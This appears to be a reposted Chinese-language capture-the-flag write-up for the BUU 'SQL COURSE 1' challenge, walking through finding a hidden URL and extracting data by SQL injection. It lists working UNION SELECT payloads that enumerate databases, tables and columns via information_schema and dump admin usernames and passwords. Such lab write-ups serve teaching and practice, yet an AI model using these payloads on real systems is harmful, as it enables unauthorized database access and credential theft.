BUU SQL COURSE 1


0x01 題目分析

通過題目可以了解到這是一個SQL注入的題,但是打開網站后觀察URL、對登錄框抓包嘗試后都無果。

 

 這時就很迷,最后只能用老辦法看看源碼啥的有沒有提示

 經過觀察發現了一個隱藏的URL(心理想:這題是真的鬼[○・`Д´・ ○])

 

0x02 開始測試

 利用and 1=1 和 and 1=2根據頁面回顯進行判斷

 

 

 

利用order by 進行字段查看

 

 進行回顯判斷

 

 下面就可以進行暴庫、暴表、暴字段的操作了

 1 暴庫:(information_schema,ctftraining,mysql,performance_schema,test,news)
 2 ?id=-1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata
 3 
 4 暴表:(admin,contents)
 5 ?id=-1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema="news"
 6 
 7 暴字段:(id,username,password)
 8 ?id=-1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name="admin"
 9 
10密碼:
11 ?id=-1 UNION SELECT 1,concat(username,0x3a,password) from admin

Mysql中concat和group_concat的用法:https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc

 

最后出來了賬號密碼:

 

 利用賬號密碼進行登錄

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM